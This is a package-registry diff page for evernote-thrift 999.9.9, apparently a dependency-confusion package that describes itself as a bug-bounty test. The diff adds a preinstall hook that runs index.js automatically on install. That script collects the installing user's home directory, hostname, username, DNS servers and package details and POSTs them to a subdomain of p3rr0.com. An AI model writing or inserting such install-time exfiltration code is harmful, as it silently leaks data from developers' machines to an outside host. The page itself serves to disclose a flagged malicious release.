evernote-thrift 999.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of evernote-thrift might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +37 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const http = require('http');
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ const trackingData = JSON.stringify({
8
+ pack: package,
9
+ cdir: __dirname,
10
+ homedir: os.homedir(),
11
+ hostname: os.hostname(),
12
+ username: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ pjson: packageJSON,
16
+ });
17
+
18
+ var options = {
19
+ host: dns.getServers()+package+'.p3rr0.com',
20
+ path: '/',
21
+ method: 'POST',
22
+ headers: {'X-Bug-Test' : 'p3rr0-'+package}
23
+ };
24
+
25
+ callback = function(response) {
26
+ var str = '';
27
+ response.on('data', function (chunk) {
28
+ str += chunk;
29
+ });
30
+ response.on('end', function () {
31
+ // console.log(str);
32
+ });
33
+ }
34
+
35
+ var req = http.request(options, callback);
36
+ req.write(trackingData);
37
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "evernote-thrift",
3
+ "version": "999.9.9",
4
+ "description": "dependency confustion bug bounty test -- dont use",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }